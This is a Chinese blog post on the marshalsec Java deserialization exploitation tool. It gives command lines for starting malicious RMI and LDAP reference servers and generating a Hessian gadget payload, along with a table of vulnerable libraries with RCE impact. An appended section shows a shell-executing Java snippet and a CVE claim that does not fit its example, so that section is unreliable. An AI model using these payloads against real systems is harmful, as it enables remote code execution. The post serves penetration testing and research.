最新版本marshalsec

本文详细介绍了marshalsec工具的下载、使用方法及命令格式,包括如何生成与使用不同的payloads,以及支持的各种exploit和payload类型,适用于安全研究与渗透测试。

工具下载

marshalsec-0.3.0.3-SNAPSHOT-all.jar下载

下载地址:https://download.youkuaiyun.com/download/Fly_hps/12409277

工具使用

命令格式

marshalsec命令格式如下:

java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]

参数说明:

  • -a:生成exploit下的所有payload(例如:hessian下的SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin)
  • -t:对生成的payloads进行解码测试
  • -v:verbose mode, 展示生成的payloads
  • gadget_type:指定使用的payload
  • arguments - payload运行时使用的参数
  • marshalsec.<marshaller>:指定exploits,根目录下的java文件名

开启RMI服务

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/css/#ExportObject 1099

开启LDAP服务

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/css/#ExportObject 1389

查询可用Gadget

java.exe -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson //以Jackson为例

生成特定Payload

java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.Hessian -v XBean http://127.0.0.1:8080/ExecObject

攻击载荷

目前marshalsec支持的exploit和payload有:

MarshallerGadget Impact
BlazeDSAMF(0|3|X)JDK only escalation to Java serialization various third party libraries RCEs
Hessian|Burlapvarious third party RCEs
Castordependency library RCE
Jacksonpossible JDK only RCE, various third party RCEs
Javayet another third party RCE
JsonIOJDK only RCE
JYAMLJDK only RCE
Kryothird party RCEs
KryoAltStrategyJDK only RCE
Red5AMF(0|3)JDK only RCE
SnakeYAMLJDK only RCEs
XStreamJDK only RCEs
YAMLBeansthird party RCE
### Marshalsec 技术概述 Marshalsec 是一款用于创建反序列化漏洞利用程序的 Java 工具库。该工具允许安全研究人员测试和开发针对存在反序列化漏洞的应用程序的有效载荷[^1]。 #### 安装与配置 为了使用 Marshalsec,需先安装 JDK 和 Maven。接着可以通过克隆官方 GitHub 仓库来获取项目源码并编译: ```bash git clone https://github.com/mbechler/marshalsec.git cd marshalsec mvn clean package -DskipTests ``` 上述命令会下载依赖项并将项目打包成可执行 JAR 文件[^2]。 #### 基本用法示例 假设目标应用程序通过 RMI 接口暴露了一个服务端点,在这种情况下可以构建如下攻击向量: ```java import jdk.nashorn.api.scripting.NashornScriptEngineFactory; // ...其他必要的导入语句... public class Exploit { public static void main(String[] args) throws Exception { String payload = "new java.lang.ProcessBuilder[&#39;/bin/sh&#39;,&#39;-c&#39;,&#39;touch /tmp/success&#39;].start()"; ScriptEngine engine = new NashornScriptEngineFactory().getScriptEngine("--language=es6"); Object result = engine.eval(payload); } } ``` 此代码片段展示了如何构造一个简单的 Payload 来触发远程命令执行操作。请注意这只是一个理论上的例子,实际应用时应当更加谨慎,并遵循合法合规的原则[^3]。 #### 实战案例分析 曾经有报告指出 Apache ActiveMQ 存在一个严重的反序列化漏洞 (CVE-2018-9744),攻击者能够借助 Marshalsec 构建特定的数据包发送给未打补丁的服务实例从而实现任意代码执行的目的。这类场景充分体现了掌握此类技能对于渗透测试人员的重要性[^4]。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

FLy_鹏程万里

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值